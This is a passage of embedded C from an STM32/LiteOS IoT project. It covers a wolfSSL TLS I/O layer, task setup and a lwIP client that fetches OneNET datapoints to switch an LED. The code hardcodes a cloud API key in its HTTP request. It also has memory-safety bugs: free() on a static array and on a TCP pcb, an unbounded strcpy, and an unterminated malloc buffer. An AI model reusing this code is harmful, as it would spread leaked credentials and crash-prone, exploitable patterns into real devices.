destroyed with a SSL connection still active."); } if (tls_io_instance->certificate != NULL) { platform_free(tls_io_instance->certificate); } if (tls_io_instance->hostname != NULL) { platform_free(tls_io_instance->hostname); } if (tls_io_instance->x509certificate != NULL) { platform_free((void*)tls_io_instance->x509certificate); } if (tls_io_instance->x509privatekey != NULL) { platform_free((void*)tls_io_instance->x509privatekey); } platform_free(tls_io_instance); } //LogInfo("tlsio_openssl_destroy end: %d", system_get_free_heap_size()); } int tlsio_openssl_open(CONCRETE_IO_HANDLE tls_io, ON_IO_OPEN_COMPLETE on_io_open_complete, void* on_io_open_complete_context, ON_BYTES_RECEIVED on_bytes_received, void* on_bytes_received_context, ON_IO_ERROR on_io_error, void* on_io_error_context) { //LogInfo("tlsio_openssl_open begin: %d", system_get_free_heap_size()); int result; if (tls_io == NULL) { result = __LINE__; LogError("NULL tls_io."); } else { TLS_IO_INSTANCE* tls_io_instance = (TLS_IO_INSTANCE*)tls_io; if (tls_io_instance->tlsio_state != TLSIO_STATE_NOT_OPEN && tls_io_instance->tlsio_state != TLSIO_STATE_ERROR) { tls_io_instance->tlsio_state = TLSIO_STATE_ERROR; tls_io_instance->on_io_error = on_io_error; tls_io_instance->on_io_error_context = on_io_error_context; result = __LINE__; LogError("Invalid tlsio_state for open. Expected state is TLSIO_STATE_NOT_OPEN or TLSIO_STATE_ERROR."); if (tls_io_instance->on_io_error != NULL) { tls_io_instance->on_io_error(tls_io_instance->on_io_error_context); } } else { int netconn_retry = 0; int ret; tls_io_instance->on_io_open_complete = on_io_open_complete; tls_io_instance->on_io_open_complete_context = on_io_open_complete_context; tls_io_instance->on_bytes_received = on_bytes_received; tls_io_instance->on_bytes_received_context = on_bytes_received_context; tls_io_instance->on_io_error = on_io_error; tls_io_instance->on_io_error_context = on_io_error_context; tls_io_instance->tlsio_state = TLSIO_STATE_OPENING; do { //LogInfo("size before netconn_gethostbyname: %d", system_get_free_heap_size()); ret = netconn_gethostbyname(tls_io_instance->hostname, &tls_io_instance->target_ip); } while((ret != 0) && netconn_retry++ < MAX_RETRY); if (ret != 0 || openssl_thread_LWIP_CONNECTION(tls_io_instance) != 0){ tls_io_instance->tlsio_state = TLSIO_STATE_ERROR; indicate_open_complete(tls_io_instance, IO_OPEN_ERROR); result = __LINE__; LogError("openssl_thread_LWIP_CONNECTION failed."); if (tls_io_instance->on_io_error != NULL) { tls_io_instance->on_io_error(tls_io_instance->on_io_error_context); } }else{ tls_io_instance->tlsio_state = TLSIO_STATE_OPEN; indicate_open_complete(tls_io_instance, IO_OPEN_OK); result = 0; os_delay_us(5000000); //delay added to give reconnect time to send last message //LogInfo("tlsio_openssl_open end: %d", system_get_free_heap_size()); } } } return result; } int tlsio_openssl_close(CONCRETE_IO_HANDLE tls_io, ON_IO_CLOSE_COMPLETE on_io_close_complete, void* callback_context) { int result; //LogInfo("tlsio_openssl_close begin: %d", system_get_free_heap_size()); LogInfo("tlsio_openssl_close"); if (tls_io == NULL) { result = __LINE__; LogError("NULL tls_io."); } else { TLS_IO_INSTANCE* tls_io_instance = (TLS_IO_INSTANCE*)tls_io; if ((tls_io_instance->tlsio_state == TLSIO_STATE_NOT_OPEN) || (tls_io_instance->tlsio_state == TLSIO_STATE_CLOSING) || (tls_io_instance->tlsio_state == TLSIO_STATE_OPENING)) { result = __LINE__; tls_io_instance->tlsio_state = TLSIO_STATE_ERROR; LogError("Invalid tlsio_state for close. Expected state is TLSIO_STATE_OPEN or TLSIO_STATE_ERROR."); } else { int ret; tls_io_instance->on_io_close_complete = on_io_close_complete; tls_io_instance->on_io_close_complete_context = callback_context; tls_io_instance->tlsio_state = TLSIO_STATE_CLOSING; ret = destroy_openssl_instance(tls_io_instance); if (ret != 0) { result = __LINE__; tls_io_instance->tlsio_state = TLSIO_STATE_ERROR; if (tls_io_instance->on_io_error != NULL) { tls_io_instance->on_io_error(tls_io_instance->on_io_error_context); } } else { tls_io_instance->tlsio_state = TLSIO_STATE_NOT_OPEN; result = 0; if (tls_io_instance->on_io_close_complete != NULL) { tls_io_instance->on_io_close_complete(tls_io_instance->on_io_close_complete_context); } } } } //LogInfo("tlsio_openssl_close end: %d", system_get_free_heap_size()); return result; } int tlsio_openssl_send(CONCRETE_IO_HANDLE tls_io, const void* buffer, size_t size, ON_SEND_COMPLETE on_send_complete, void* callback_context) { int result; if ((tls_io == NULL) || (buffer == NULL) || (size == 0)) { result = __LINE__; LogError("Invalid parameter."); } else { TLS_IO_INSTANCE* tls_io_instance = (TLS_IO_INSTANCE*)tls_io; if (tls_io_instance->tlsio_state != TLSIO_STATE_OPEN) { result = __LINE__; LogError("TLS is not ready to send data. Expected state is TLSIO_STATE_OPEN."); //LogInfo("TLS is not ready to send data. Expected state is TLSIO_STATE_OPEN."); } else { int total_write = 0; int ret = 0; int need_sent_bytes = (int)size; fd_set writeset; fd_set errset; while(need_sent_bytes > 0) { FD_ZERO(&writeset); FD_SET(tls_io_instance->sock, &writeset); FD_ZERO(&errset); FD_SET(tls_io_instance->sock, &errset); ret = lwip_select(tls_io_instance->sock + 1, NULL, &writeset, &errset, &timeout); if (ret == 0) { result = __LINE__; LogError("select timeout and no data to be write"); break; } else if (ret < 0 || FD_ISSET(tls_io_instance->sock, &errset)) { result = __LINE__; LogError("get error %d", lwip_net_errno(tls_io_instance->sock)); break; } ret = wolfSSL_write(tls_io_instance->ssl, ((u8_t*)buffer)+total_write, (int)size); // LogInfo("SSL_write ret: %d", ret); //LogInfo("SSL_write res: %d, size: %d, retry: %d", res, size, retry); if(ret > 0){ total_write += ret; need_sent_bytes = need_sent_bytes - ret; } else { result = __LINE__; LogError("SSL_write failed."); break; } } if (need_sent_bytes != 0) { LogInfo("ssl write failed, return [-0x%x]", -ret); ret = wolfSSL_shutdown(tls_io_instance->ssl); LogInfo("wolfSSL_shutdown ret: %d", ret); result = __LINE__; if (on_send_complete != NULL) { on_send_complete(callback_context, IO_SEND_ERROR); } } else { result = 0; // LogInfo("SSL Write OK"); if (on_send_complete != NULL) { on_send_complete(callback_context, IO_SEND_OK); } } // LogInfo("total write: %d", total_write); } } return result; } void tlsio_openssl_dowork(CONCRETE_IO_HANDLE tls_io) { if (tls_io == NULL) { LogError("NULL tls_io."); } else { TLS_IO_INSTANCE* tls_io_instance = (TLS_IO_INSTANCE*)tls_io; if (tls_io_instance->tlsio_state == TLSIO_STATE_OPEN) { int ret = decode_ssl_received_bytes(tls_io_instance); if (ret != 0) { ret = wolfSSL_shutdown(tls_io_instance->ssl); //LogInfo("wolfSSL_shutdown ret: %d", ret); } } else { //LogError("Invalid tlsio_state for dowork. Expected state is TLSIO_STATE_OPEN."); } } } int tlsio_openssl_setoption(CONCRETE_IO_HANDLE tls_io, const char* optionName, const void* value) { (void)tls_io, (void)optionName, (void)value; /* Not implementing any options */ return 0; } const IO_INTERFACE_DESCRIPTION* tlsio_openssl_get_interface_description(void) { return &tlsio_openssl_interface_description; } ``` main.c ```/* Includes LiteOS------------------------------------------------------------------*/ #include "stdlib.h" #include "string.h" #include "los_base.h" #include "los_config.h" #include "los_typedef.h" #include "los_hwi.h" #include "los_task.ph" #include "los_sem.h" #include "los_event.h" #include "los_memory.h" #include "los_queue.ph" #include "cmsis_os.h" #include <stdio.h> #include "stm32f4xx.h" #include "stm32f4xx_conf.h" #include "bsp_led.h" #include "bsp_debug_usart.h" #include "dwt.h" #include "bsp_key.h" /* Private typedef -----------------------------------------------------------*/ /* Private define ------------------------------------------------------------*/ /* Private macro -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ KEY Key1,Key2; UINT32 g_TskHandle; __IO uint32_t LocalTime = 0; /* this variable is used to create a time reference incremented by 10ms */ /* Private function prototypes -----------------------------------------------*/ static void TIM3_Config(uint16_t period,uint16_t prescaler); /* Private functions ---------------------------------------------------------*/ void TIM3_IRQHandler(void); void hardware_init(void) { LED_GPIO_Config(); Key1_GPIO_Config(); Key2_GPIO_Config(); KeyCreate(&Key1,GetPinStateOfKey1); KeyCreate(&Key2,GetPinStateOfKey2); Debug_USART_Config(); DelayInit(SystemCoreClock); LOS_HwiCreate(TIM3_IRQn, 0,0,TIM3_IRQHandler,NULL); TIM3_Config(999,899); printf("Sysclock is %d\r\n",SystemCoreClock); } static void TIM3_Config(uint16_t period,uint16_t prescaler) { TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStructure; NVIC_InitTypeDef NVIC_InitStructure; RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3,ENABLE); TIM_TimeBaseInitStructure.TIM_Prescaler=prescaler; TIM_TimeBaseInitStructure.TIM_CounterMode=TIM_CounterMode_Up; TIM_TimeBaseInitStructure.TIM_Period=period; TIM_TimeBaseInitStructure.TIM_ClockDivision=TIM_CKD_DIV1; TIM_TimeBaseInit(TIM3,&TIM_TimeBaseInitStructure); TIM_ITConfig(TIM3,TIM_IT_Update,ENABLE); TIM_Cmd(TIM3,ENABLE); NVIC_InitStructure.NVIC_IRQChannel=TIM3_IRQn; NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01; NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x03; NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE; NVIC_Init(&NVIC_InitStructure); } void TIM3_IRQHandler(void) { if(TIM_GetITStatus(TIM3,TIM_IT_Update)==SET) { LocalTime+=10; } TIM_ClearITPendingBit(TIM3,TIM_IT_Update); } VOID task1() { int count = 0; while(1) { count++; printf("------This is task1,count is %d\r\n",count); LOS_TaskDelay(2000); } } UINT32 creat_task1() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "task1"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task1; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } VOID task2() { int count = 0; while(1) { count++; printf("++++++++This is task2,count is %d\r\n",count); LOS_TaskDelay(1000); } } UINT32 creat_task2() { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "task2"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task2; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } int main(void) { UINT32 uwRet = LOS_OK; LOS_KernelInit();//ๅ†…ๆ ธๅˆๅง‹ๅŒ– hardware_init();//็กฌไปถๅˆๅง‹ๅŒ– uwRet = creat_task1(); if(uwRet != LOS_OK) { return uwRet; } uwRet = creat_task2(); if(uwRet != LOS_OK) { return uwRet; } uwRet = creat_task3(); if(uwRet != LOS_OK) { return uwRet; } LOS_Start();//ๅฏๅŠจLiteOS } ``` tcp_echoclient.c ```/** ****************************************************************************** * @file tcp_echoclient.c * @author MCD Application Team * @version V1.1.0 * @date 31-July-2013 * @brief tcp echoclient application using LwIP RAW API ****************************************************************************** * @attention * * <h2><center>&copy; COPYRIGHT 2013 STMicroelectronics</center></h2> * * Licensed under MCD-ST Liberty SW License Agreement V2, (the "License"); * You may not use this file except in compliance with the License. * You may obtain a copy of the License at: * * http://www.st.com/software_license_agreement_liberty_v2 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ****************************************************************************** */ /* Includes ------------------------------------------------------------------*/ #include "lwip/debug.h" #include "lwip/stats.h" #include "lwip/tcp.h" #include "memp.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include "netconf.h" #include "LAN8742A.h" #include "tcp_echoclient.h" #include "cjson.h" #include "bsp_led.h" #include "utils.h" #if LWIP_TCP /* Private typedef -----------------------------------------------------------*/ /* Private define ------------------------------------------------------------*/ /* Private macro -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ u8_t recev_buf[50]; __IO uint32_t message_count=0; u8_t data[100]; extern struct tcp_pcb *echoclient_pcb; /* ECHO protocol states */ enum echoclient_states { ES_NOT_CONNECTED = 0, ES_CONNECTED, ES_RECEIVED, ES_CLOSING, }; /* structure to be passed as argument to the tcp callbacks */ struct echoclient { enum echoclient_states state; /* connection status */ struct tcp_pcb *pcb; /* pointer on the current tcp_pcb */ struct pbuf *p_tx; /* pointer on pbuf to be transmitted */ }; struct echoclient * echoclient_es; /* Private function prototypes -----------------------------------------------*/ static err_t tcp_echoclient_recv(void *arg, struct tcp_pcb *tpcb, struct pbuf *p, err_t err); static void tcp_echoclient_connection_close(struct tcp_pcb *tpcb, struct echoclient * es); static err_t tcp_echoclient_poll(void *arg, struct tcp_pcb *tpcb); static err_t tcp_echoclient_sent(void *arg, struct tcp_pcb *tpcb, u16_t len); static void tcp_echoclient_send(struct tcp_pcb *tpcb, struct echoclient * es); static err_t tcp_echoclient_connected(void *arg, struct tcp_pcb *tpcb, err_t err); /* Private functions ---------------------------------------------------------*/ /** * @brief Connects to the TCP echo server * @param None * @retval None */ //tcpๆœๅŠกๅ™จ่ฟžๆŽฅ็Šถๆ€ enum tcp_client_states { ES_TCPCLIENT_NONE = 0, //ๆฒกๆœ‰่ฟžๆŽฅ ES_TCPCLIENT_CONNECTED, //่ฟžๆŽฅๅˆฐๆœๅŠกๅ™จไบ† ES_TCPCLIENT_CLOSING, //ๅ…ณ้—ญ่ฟžๆŽฅ }; typedef struct{ char ucMsgBuf[1024]; int dwLen; }MSG_BUF_STRUCT; //LWIPๅ›ž่ฐƒๅ‡ฝๆ•ฐไฝฟ็”จ็š„็ป“ๆž„ไฝ“ struct tcp_client_struct { u8 state; //ๅฝ“ๅ‰่ฟžๆŽฅ็Šถ struct tcp_pcb *pcb; //ๆŒ‡ๅ‘ๅฝ“ๅ‰็š„pcb struct pbuf *p; //ๆŒ‡ๅ‘ๆŽฅๆ”ถ/ๆˆ–ไผ ่พ“็š„pbuf }; //TCP ClientๆŽฅๆ”ถๆ•ฐๆฎ็ผ“ๅ†ฒๅŒบ MSG_BUF_STRUCT tcp_client_recvbuf; int tcp_client_flag; //lwIP tcp_recv()ๅ‡ฝๆ•ฐ็š„ๅ›ž่ฐƒๅ‡ฝๆ•ฐ //tcp_echoclient_recv(void *arg, struct tcp_pcb *tpcb, struct pbuf *p, err_t err); err_t tcp_echoclient_recv(void *arg,struct tcp_pcb *tpcb,struct pbuf *p,err_t err) { u32 data_len=0; struct pbuf *q; struct tcp_client_struct *es; err_t ret_err; LWIP_ASSERT("arg != NULL",arg != NULL); es=(struct tcp_client_struct *)arg; if(p==NULL)//ๅฆ‚ๆžœไปŽๆœๅŠกๅ™จๆŽฅๆ”ถๅˆฐ็ฉบ็š„ๆ•ฐๆฎๅธงๅฐฑๅ…ณ้—ญ่ฟžๆŽฅ { es->state=ES_TCPCLIENT_CLOSING;//้œ€่ฆๅ…ณ้—ญTCP ่ฟžๆŽฅไบ† es->p=p; ret_err=ERR_OK; } else if(err!= ERR_OK) //ๅฝ“ๆŽฅๆ”ถๅˆฐไธ€ไธช้ž็ฉบ็š„ๆ•ฐๆฎๅธง,ไฝ†ๆ˜ฏerr!=ERR_OK { if(p)pbuf_free(p);//้‡Šๆ”พๆŽฅๆ”ถpbuf ret_err=err; } else if(es->state==ES_TCPCLIENT_CONNECTED) //ๅฝ“ๅค„ไบŽ่ฟžๆŽฅ็Šถๆ€ๆ—ถ { if(p!=NULL)//ๅฝ“ๅค„ไบŽ่ฟžๆŽฅ็Šถๆ€ๅนถไธ”ๆŽฅๆ”ถๅˆฐ็š„ๆ•ฐๆฎไธไธบ็ฉบๆ—ถ { memset(tcp_client_recvbuf.ucMsgBuf,0,1024); //ๆ•ฐๆฎๆŽฅๆ”ถ็ผ“ๅ†ฒๅŒบๆธ…้›ถ for(q=p; q!=NULL; q=q->next) //้ๅކๅฎŒๆ•ดไธชpbuf้“พ่กจ { //ๅˆคๆ–ญ่ฆๆ‹ท่ดๅˆฐTCP_CLIENT_RX_BUFSIZEไธญ็š„ๆ•ฐๆฎๆ˜ฏๅฆๅคงไบŽTCP_CLIENT_RX_BUFSIZE็š„ๅ‰ฉไฝ™็ฉบ้—ด๏ผŒๅฆ‚ๆžœๅคงไบŽ //็š„่ฏๅฐฑๅชๆ‹ท่ดTCP_CLIENT_RX_BUFSIZEไธญๅ‰ฉไฝ™้•ฟๅบฆ็š„ๆ•ฐๆฎ๏ผŒๅฆๅˆ™็š„่ฏๅฐฑๆ‹ท่ดๆ‰€ๆœ‰็š„ๆ•ฐๆฎ if(q->len > (1024-data_len)) memcpy(tcp_client_recvbuf.ucMsgBuf+data_len,q->payload,(1024-data_len));//ๆ‹ท่ดๆ•ฐๆฎ else memcpy(tcp_client_recvbuf.ucMsgBuf+data_len,q->payload,q->len); data_len += q->len; if(data_len > 1024) break; //่ถ…ๅ‡บTCPๅฎขๆˆท็ซฏๆŽฅๆ”ถๆ•ฐ็ป„,่ทณๅ‡บ } tcp_client_recvbuf.dwLen = data_len; tcp_client_flag=1; //ๆ ‡่ฎฐๆŽฅๆ”ถๅˆฐๆ•ฐๆฎไบ† tcp_recved(tpcb,p->tot_len);//็”จไบŽ่Žทๅ–ๆŽฅๆ”ถๆ•ฐๆฎ,้€š็ŸฅLWIPๅฏไปฅ่Žทๅ–ๆ›ดๅคšๆ•ฐๆฎ //printf("ๆŽฅๆ”ถๅˆฐ%dๅญ—่Š‚ๆ•ฐๆฎ:\n%s\n",tcp_client_recvbuf.dwLen,tcp_client_recvbuf.ucMsgBuf); pbuf_free(p); //้‡Šๆ”พๅ†…ๅญ˜ ret_err=ERR_OK; } } else //ๆŽฅๆ”ถๅˆฐๆ•ฐๆฎไฝ†ๆ˜ฏ่ฟžๆŽฅๅทฒ็ปๅ…ณ้—ญ, { tcp_recved(tpcb,p->tot_len);//็”จไบŽ่Žทๅ–ๆŽฅๆ”ถๆ•ฐๆฎ,้€š็ŸฅLWIPๅฏไปฅ่Žทๅ–ๆ›ดๅคšๆ•ฐๆฎ es->p=NULL; pbuf_free(p); //้‡Šๆ”พๅ†…ๅญ˜ ret_err=ERR_OK; } return ret_err; } void tcp_echoclient_connect(void) { struct ip_addr DestIPaddr; int ee; /* create new tcp pcb */ echoclient_pcb = tcp_new(); if (echoclient_pcb != NULL) { IP4_ADDR( &DestIPaddr, DEST_IP_ADDR0, DEST_IP_ADDR1, DEST_IP_ADDR2, DEST_IP_ADDR3 ); /* connect to destination address/port */ ee=tcp_connect(echoclient_pcb,&DestIPaddr,DEST_PORT,tcp_echoclient_connected); if(ERR_OK == ee) // ????? { printf("\n\r Connect Server SUCCESS!"); } else {printf("\n\r Connect Server fail!"); } } else { /* deallocate the pcb */ memp_free(MEMP_TCP_PCB, echoclient_pcb); #ifdef SERIAL_DEBUG printf("\n\r can not create tcp pcb"); #endif } } /** * @brief Disconnects to the TCP echo server * @param None * @retval None */ void tcp_echoclient_disconnect(void) { /* close connection */ tcp_echoclient_connection_close(echoclient_pcb,echoclient_es); #ifdef SERIAL_DEBUG printf("\n\r close TCP connection"); #endif } /** * @brief Function called when TCP connection established * @param tpcb: pointer on the connection contol block * @param err: when connection correctly established err should be ERR_OK * @retval err_t: returned error */ static err_t tcp_echoclient_connected(void *arg, struct tcp_pcb *tpcb, err_t err) { struct echoclient *es = NULL; if (err == ERR_OK) { /* allocate structure es to maintain tcp connection informations */ es = (struct echoclient *)mem_malloc(sizeof(struct echoclient)); echoclient_es=es; if (es != NULL) { es->state = ES_CONNECTED; es->pcb = tpcb; //sprintf((char*)data, "sending tcp client message %d", message_count); /* allocate pbuf */ // es->p_tx = pbuf_alloc(PBUF_TRANSPORT, strlen((char*)data) , PBUF_POOL); if (es->p_tx) { /* copy data to pbuf */ // pbuf_take(es->p_tx, (char*)data, strlen((char*)data)); /* pass newly allocated es structure as argument to tpcb */ tcp_arg(tpcb, es); /* initialize LwIP tcp_recv callback function */ tcp_recv(tpcb, tcp_echoclient_recv); /* initialize LwIP tcp_sent callback function */ //tcp_sent(tpcb, tcp_echoclient_sent); /* initialize LwIP tcp_poll callback function */ //tcp_poll(tpcb, tcp_echoclient_poll, 1); /* send data */ //tcp_echoclient_send(tpcb,es); return ERR_OK; } } else { /* close connection */ tcp_echoclient_connection_close(tpcb, es); /* return memory allocation error */ return ERR_MEM; } } else { /* close connection */ tcp_echoclient_connection_close(tpcb, es); } return err; } /** * @brief tcp_receiv callback * @param arg: argument to be passed to receive callback * @param tpcb: tcp connection control block * @param err: receive error code * @retval err_t: retuned error */ char *recdata=0; char temp[1556]; static err_t tcp_echoclient_recv11(void *arg, struct tcp_pcb *tpcb, struct pbuf *p, err_t err) { struct echoclient *es; err_t ret_err; cJSON *json; LWIP_ASSERT("arg != NULL",arg != NULL); es = (struct echoclient *)arg; /* if we receive an empty tcp frame from server => close connection */ if (p == NULL) { /* remote host closed connection */ es->state = ES_CLOSING; if(es->p_tx == NULL) { /* we're done sending, close connection */ tcp_echoclient_connection_close(tpcb, es); } else { /* send remaining data*/ tcp_echoclient_send(tpcb, es); } ret_err = ERR_OK; } /* else : a non empty frame was received from echo server but for some reason err != ERR_OK */ else if(err != ERR_OK) { /* free received pbuf*/ pbuf_free(p); ret_err = err; } else if(es->state == ES_CONNECTED) { /* increment message count */ message_count++; /* Acknowledge data reception */ tcp_recved(tpcb, p->tot_len); printf("\r\nrec1:[%d]%d",sizeof(p->tot_len),p->tot_len); #ifdef SERIAL_DEBUG recdata=malloc(p->tot_len*sizeof(unsigned char)); printf("\r\nrec2:%s\r\n",recdata); if(recdata!=NULL) { memcpy(recdata,p->payload,p->tot_len); // printf("\r\nrec:[%d]%s\r\n",p->tot_len,p->payload); printf("\r\nrec:[%d]%s",strlen(recdata),recdata); } json=cJSON_Parse(recdata); /*{"errno":0,"data":{"count":4, "datastreams":[{ "datapoints":[{ "at":"2018-05-10 07:25:17.913","value":0 }], "id":"LED1"}, {"datapoints":[{"at":"2018-05-11 13:29:40.535","value":24}],"id":"temperature"}*/ if (json != NULL) { cJSON *tmp; tmp = cJSON_GetObjectItem(json,"data"); if(tmp != NULL) { tmp = cJSON_GetObjectItem(tmp,"datastreams"); //printf("width=%d\n",tmp->valueint); if(tmp != NULL) { tmp = cJSON_GetObjectItem(tmp,"datapoints"); //printf("width=%d\n",tmp->valueint); if(tmp != NULL) { tmp = cJSON_GetObjectItem(tmp,"id"); printf("id=%s\n",tmp->valuestring); } } } } free(recdata); #endif /* free received pbuf*/ pbuf_free(p); // tcp_echoclient_connection_close(tpcb, es); ret_err = ERR_OK; } /* data received when connection already closed */ else { /* Acknowledge data reception */ tcp_recved(tpcb, p->tot_len); free(tpcb); /* free pbuf and do nothing */ pbuf_free(p); ret_err = ERR_OK; } return ret_err; } /** * @brief function used to send data * @param tpcb: tcp control block * @param es: pointer on structure of type echoclient containing info on data * to be sent * @retval None */ static void tcp_echoclient_send(struct tcp_pcb *tpcb, struct echoclient * es) { struct pbuf *ptr; err_t wr_err = ERR_OK; while ((wr_err == ERR_OK) && (es->p_tx != NULL) && (es->p_tx->len <= tcp_sndbuf(tpcb))) { /* get pointer on pbuf from es structure */ ptr = es->p_tx; /* enqueue data for transmission */ wr_err = tcp_write(tpcb, ptr->payload, ptr->len, 1); if (wr_err == ERR_OK) { /* continue with next pbuf in chain (if any) */ es->p_tx = ptr->next; if(es->p_tx != NULL) { /* increment reference count for es->p */ pbuf_ref(es->p_tx); } /* free pbuf: will free pbufs up to es->p (because es->p has a reference count > 0) */ pbuf_free(ptr); } else if(wr_err == ERR_MEM) { /* we are low on memory, try later, defer to poll */ es->p_tx = ptr; } else { /* other problem ?? */ } } } /** * @brief This function implements the tcp_poll callback function * @param arg: pointer on argument passed to callback * @param tpcb: tcp connection control block * @retval err_t: error code */ static err_t tcp_echoclient_poll(void *arg, struct tcp_pcb *tpcb) { err_t ret_err; struct echoclient *es; es = (struct echoclient*)arg; if (es != NULL) { if (es->p_tx != NULL) { /* there is a remaining pbuf (chain) , try to send data */ tcp_echoclient_send(tpcb, es); } else { /* no remaining pbuf (chain) */ if(es->state == ES_CLOSING) { /* close tcp connection */ tcp_echoclient_connection_close(tpcb, es); } } ret_err = ERR_OK; } else { /* nothing to be done */ tcp_abort(tpcb); ret_err = ERR_ABRT; } return ret_err; } /** * @brief This function implements the tcp_sent LwIP callback (called when ACK * is received from remote host for sent data) * @param arg: pointer on argument passed to callback * @param tcp_pcb: tcp connection control block * @param len: length of data sent * @retval err_t: returned error code */ static err_t tcp_echoclient_sent(void *arg, struct tcp_pcb *tpcb, u16_t len) { struct echoclient *es; LWIP_UNUSED_ARG(len); es = (struct echoclient *)arg; if(es->p_tx != NULL) { /* still got pbufs to send */ tcp_echoclient_send(tpcb, es); } return ERR_OK; } /** * @brief This function is used to close the tcp connection with server * @param tpcb: tcp connection control block * @param es: pointer on echoclient structure * @retval None */ static void tcp_echoclient_connection_close(struct tcp_pcb *tpcb, struct echoclient * es ) { /* remove callbacks */ tcp_recv(tpcb, NULL); tcp_sent(tpcb, NULL); tcp_poll(tpcb, NULL,0); if (es != NULL) { mem_free(es); } /* close tcp connection */ tcp_close(tpcb); } int led_flag=0; int len_post; int temperature1=0; int humidity1=0; char post_data2[255]={0};//ๅ…จๅฑ€ๅ˜้‡๏ผŒๅœจbsp_dht11.c็š„int mainDHT11(void)ๅ‡ฝๆ•ฐไธญ void MCU_to_TCP(void) { struct tcp_pcb *cpcb; cpcb=echoclient_pcb; //ๅฐ†ๆ•ฐๆฎๅ‘้€ๅ‡บๅŽป if(echoclient_pcb!=NULL) { tcp_write(echoclient_pcb,post_data2,strlen(post_data2),1);//ๆŽฅๆ”ถๅˆฐๆœๅŠกๅ™จๆ•ฐๆฎๅŽๅ†ๅ้ฆˆๅŽŸๆœ‰ๆ•ฐๆฎๅ›žๆœๅŠกๅ™จ tcp_output(echoclient_pcb); //ๅพช็Žฏๅ‘้€ๆ•ฐๆฎ } else free(cpcb); free(post_data2); } const unsigned char get_requst3[]="GET /devices/29702274/datapoints HTTP/1.1\r\napi-key: TnWg0VdW6kIhU9=6I9AewR=TxKQ=\r\nHost: api.heclouds.com\r\n\r\n"; const char get_requst11[]={0x47,0x45,0x54,0x20,0x2F,0x64,0x65,0x76,0x69,0x63,0x65,0x73,0x2F,0x32,0x39,0x37,0x30,0x32,0x32,0x37,0x34,0x2F,0x64,0x61,0x74,0x61,0x70,0x6F,0x69,0x6E,0x74,0x73,0x20,0x48,0x54, 0x54,0x50,0x2F,0x31,0x2E,0x31,0x0D,0x0A,0x61,0x70,0x69,0x2D,0x6B,0x65,0x79,0x3A,0x20,0x20,0x54,0x6E,0x57,0x67,0x30,0x56,0x64,0x57,0x36,0x6B,0x49,0x68,0x55,0x39,0x3D,0x36,0x49, 0x39,0x41,0x65,0x77,0x52,0x3D,0x54,0x78,0x4B,0x51,0x3D,0x0D,0x0A,0x48,0x6F,0x73,0x74,0x3A,0x20,0x61,0x70,0x69,0x2E,0x68,0x65,0x63,0x6C,0x6F,0x75,0x64,0x73,0x2E,0x63,0x6F,0x6D, 0x0D,0x0A,0x0D,0x0A,0x0D,0x0A};//่ฏฅๆ•ฐๆฎๆ˜ฏget_regust3[]ๅญ—็ฌฆไธฒ็š„ๅๅ…ญ่ฟ›ๅˆถ๏ผŒ่ฟ™ๆ ทๅ‘้€ๆ•ฐๆฎๆ•ˆ็އ้ซ˜ void GETdata(void) { struct tcp_pcb *cpcb; cpcb=echoclient_pcb; if(echoclient_pcb!=NULL) { tcp_write(cpcb,get_requst11,sizeof(get_requst11),1);//ๆŽฅๆ”ถๅˆฐๆœๅŠกๅ™จๆ•ฐๆฎ tcp_output(cpcb); //ๅพช็Žฏๅ‘้€ๆ•ฐๆฎ } } /********************************************************* ่งฃๆžๆŽฅๆ”ถๅˆฐ็š„ๆ•ฐๆฎๅŒ…๏ผŒๅนถๆทปๅŠ ๅบ”็”จๆŽงๅˆถ 2018.5.12 *********************************************************/ int i=0; char MsgBuf[1024]; int sum=0; int flagsum=0; void recDataAnalyze(void) { // cJSON *json; if(tcp_client_flag==1) { printf("\r\nๆŽฅๆ”ถๅˆฐ%dๅญ—่Š‚ๆ•ฐๆฎ:\n%s\n",tcp_client_recvbuf.dwLen,tcp_client_recvbuf.ucMsgBuf); //ๅค„็†ๆ•ฐๆฎ strcpy(MsgBuf,&tcp_client_recvbuf.ucMsgBuf[177]); //่ฟ‡ๆปคHTTPๅคด้ƒจไฟกๆฏ๏ผŒ่Žทๅ–้œ€่ฆ็š„ๆ•ฐๆฎ printf("\r\nๆๅ–ๆ•ฐๆฎ:\n%s\n",MsgBuf); /**ไปฅไธ‹่งฃๆžๆ•ฐๆฎๆœ‰็‚น็ฎ€ๅ•็ฒ—ๆšด๏ผŒ่งฃๆžๆœ‰็‚น้บป็ƒฆ๏ผŒไฝ†ๆ˜ฏ็กฎๅฎžๆœ€ๅฎž็”จ๏ผŒๆ•ˆ็އๆฏ”็”จcJSON้ซ˜,ๅ ็”จๅ†…ๅญ˜่พƒๅฐ‘,ๆ‰€ไปฅๆš‚ๆ—ถไธ็”จcJSON**/ for(i=0;i<strlen(MsgBuf);i++) { if(MsgBuf[i]=='v'&&(MsgBuf[i+1]=='a'&&MsgBuf[i+2]=='l'&&MsgBuf[i+3]=='u'&&MsgBuf[i+4]=='e'&&MsgBuf[i+5]=='"')) { if(MsgBuf[i+6]==':'&&MsgBuf[i+7]=='1') { if(MsgBuf[i+17]=='L'&&MsgBuf[i+18]=='E'&&MsgBuf[i+19]=='D'&&MsgBuf[i+20]=='1') { LED2_ON;i=0; memset(MsgBuf,0,1024); } } 